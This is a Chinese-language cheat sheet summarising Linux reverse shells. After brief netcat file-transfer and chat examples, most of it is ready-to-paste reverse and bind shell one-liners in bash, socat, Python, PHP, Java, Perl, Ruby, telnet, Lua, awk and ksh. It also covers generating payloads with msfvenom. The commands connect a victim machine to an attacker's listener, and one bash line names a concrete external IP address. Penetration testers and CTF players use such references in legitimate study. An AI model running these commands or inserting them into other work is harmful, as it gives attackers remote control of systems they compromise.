1. 程式人生 > 實用技巧 >linux反彈shell總結

linux反彈shell總結

1.1傳送檔案(公網發內網)

檔案傳送端:

nc -lp 6666 < 檔案

檔案接收端:

nc 傳送端ip 傳送端埠 > 新檔案

1.2傳送檔案(內網發公網)
檔案傳送端:

nc -lp 6666 > 檔案

檔案接收端:

nc 傳送端ip 傳送端埠 < 新檔案

2.聊天
傳送端:

nc -lp 6666

接收端:

nc 傳送端ip 傳送端埠

3.1傳送shell
傳送端(公網伺服器):

nc -lvvp 傳送端port -e /bin/bash

接收端:

nc 傳送端ip 傳送端port

3.2反彈shell
接收端:

nc -lvvp 6666

傳送端(內網網伺服器):

nc 接收端ip 接收端埠 -e /bin/bash

4.bash反彈
接收端(hackip,公網):

nc -lvvp 埠

傳送端(受害者):

bash -i >& /dev/tcp/攻擊ip/攻擊埠 0>&1

傳送端(受害者):

0<&31-;exec 31<>/dev/tcp/111.230.170.95/9985;sh <&31 >&31 2>&31

5.1socat反彈(tcp)
接收端(攻擊機):

./socat TCP-LISTEN:埠 -

傳送端(靶機):

./socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:攻擊機ip:攻擊機埠

5.2socat反彈(udp)
接收端:

nc -lvvp 8080

傳送端:

socat udp-connect:攻擊者ip:埠 exec:'bash -li',pty,stderr,sane 2>&1>/dev/null &

6.python反彈
接收端(攻擊機,外網):

nc -lvvp 埠

傳送端(靶機):

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("接收端ip",接收端埠));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

7.PHP反彈
接收端:

nc -lvvp 埠

傳送端:

php -r '$sock=fsockopen("攻擊者ip",埠);exec("/bin/sh -i <&3 >&3 2>&3");'

8.JAVA反彈
接收端:

nc -lvvp 埠

傳送端:

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/攻擊者ip/埠;cat <&5 | while read line; do $line 2>&5 >&5; done"] as String[])
p.waitFor()

9.perl反彈
接收端:

nc -lvvp 埠

傳送端:

perl -e 'use Socket;$i="攻擊者ip";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

10.ruby反彈
接收端:

nc -lvvp 埠

傳送端:

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("攻擊者ip","埠");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

11.telnet反彈
接收端:

nc -lvvp 埠

傳送端:

mknod backpipe p && telnet 攻擊者ip 埠 0<backpipe | /bin/bash 1>backpipe

  

12.lua反彈(安裝lua環境:apt-get install lua*)
接收端:

nc -lvvp 埠

傳送端:

lua -e "local s=require('socket');local t=assert(s.tcp());t:connect('攻擊者ip',埠);while true do local r,x=t:receive();local f=assert(io.popen(r,'r'));local b=assert(f:read('*a'));t:send(b);end;f:close();t:close();"

13.awk反彈
接收端:

nc -lvvp 埠

傳送端:

awk 'BEGIN{s="/inet/tcp/0/攻擊者ip/埠";while(1){do{s|&getline c;if(c){while((c|&getline)>0)print $0|&s;close(c)}}while(c!="exit");close(s)}}'

14.ksh反彈
接收端:

nc -lvvp 埠

傳送端:

ksh -c 'ksh >/dev/tcp/攻擊者ip/埠 2>&1 <&1'

15.msfvenom生成各種payload
接收端:

nc -lvvp 埠

查詢payload:

msfvenom -l payload |grep 'cmd/unix/reverse'

生成payload:

msfvenom -p cmd/unix/reverse_模組 lhost=接收端ip lport=接收端埠 R